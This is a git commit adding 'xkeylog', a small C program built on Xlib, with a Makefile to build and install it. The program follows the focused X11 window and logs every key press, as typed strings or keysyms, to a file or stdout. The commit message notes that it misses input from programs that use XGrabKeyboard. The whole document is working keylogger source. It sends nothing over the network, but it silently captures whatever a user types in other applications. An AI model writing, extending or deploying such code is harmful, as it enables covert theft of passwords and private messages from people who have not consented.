xkeylog

commit f711b9eed4b7b9a9804bb8c284954b2a975545c3
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon, 20 Feb 2023 17:44:10 +0100

XSelect version

Is not able to get keypresess from programs using XGrabKeyboard

Diffstat:
A
.gitignore
 | 
1
+
A
Makefile
 | 
19
+++++++++++++++++++
A
xkeylog.c
 | 
95
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

3 files changed, 115 insertions(+), 0 deletions(-)
diff --git a/.gitignore b/.gitignore
@@ -0,0 +1 @@
+xkeylog
diff --git a/Makefile b/Makefile
@@ -0,0 +1,19 @@
+PREFIX ?= /usr/local
+BINDIR ?= /bin
+
+LDLIBS = -lX11
+
+all: xkeylog
+
+clean:
+	rm -f xkeylog
+
+xkeylog: xkeylog.c
+
+install:
+	install -m755 xkeylog -t "$(DESTDIR)$(PREFIX)$(BINDIR)"
+
+uninstall:
+	rm -f "$(DESTDIR)$(PREFIX)$(BINDIR)/xkeylog"
+
+.PHONY: all clean install uninstall
diff --git a/xkeylog.c b/xkeylog.c
@@ -0,0 +1,95 @@
+#include <X11/X.h>
+#include <X11/Xlib.h>
+#include <X11/Xutil.h>
+
+#include <sys/types.h>
+#include <signal.h>
+#include <err.h>
+#include <ctype.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdbool.h>
+#include <stdlib.h>
+
+const int mask = KeyPressMask | KeyReleaseMask | FocusChangeMask;
+
+FILE *logfile;
+Display *dpy;
+Window root;
+Window focus;
+
+void
+close_log(void)
+{
+	fclose(logfile);
+}
+
+void
+handle_event(void)
+{
+	XComposeStatus comp;
+	XEvent ev;
+	KeySym ks;
+	char strbuf[128];
+	int revert;
+	int len;
+
+	XNextEvent(dpy, &ev);
+	switch (ev.type) {
+	case FocusOut:
+		fprintf(logfile, "Focus changed!\n");
+		fprintf(logfile, "Old focus is %d\n", (int)focus);
+		if (focus != root)
+			XSelectInput(dpy, focus, 0);
+		XGetInputFocus(dpy, &focus, &revert);
+		fprintf(logfile, "New focus is %d\n", (int)focus);
+		if (focus == PointerRoot)
+			focus = root;
+		XSelectInput(dpy, focus, mask);
+		break;
+	case KeyPress:
+		fprintf(logfile, "Got key!\n");
+		len = XLookupString(&ev.xkey, strbuf,
+			sizeof(strbuf) - 1, &ks, &comp);
+		if (len > 0) {
+			strbuf[len] = 0;
+			fprintf(logfile, "String is: %s\n", strbuf);
+		} else {
+			fprintf(logfile, "Key is: %d\n", (int)ks);
+		}
+		break;
+	}
+}
+
+int
+main(int argc, const char **argv)
+{
+	const char *filepath;
+	const char **arg;
+	int revert;
+
+	filepath = NULL;
+	for (arg = argv + 1; *arg; arg++) {
+		if (!filepath) {
+			filepath = *arg;
+		} else {
+			errx(1, "unknown arg: %s", *arg);
+		}
+	}
+
+	if (filepath) {
+		logfile = fopen(filepath, "w+");
+		if (!logfile) err(1, "fopen");
+		atexit(close_log);
+	} else {
+		logfile = stdout;
+	}
+
+	dpy = XOpenDisplay(NULL);
+	root = DefaultRootWindow(dpy);
+
+	XGetInputFocus(dpy, &focus, &revert);
+	XSelectInput(dpy, focus, mask);
+
+	while (1) handle_event();
+}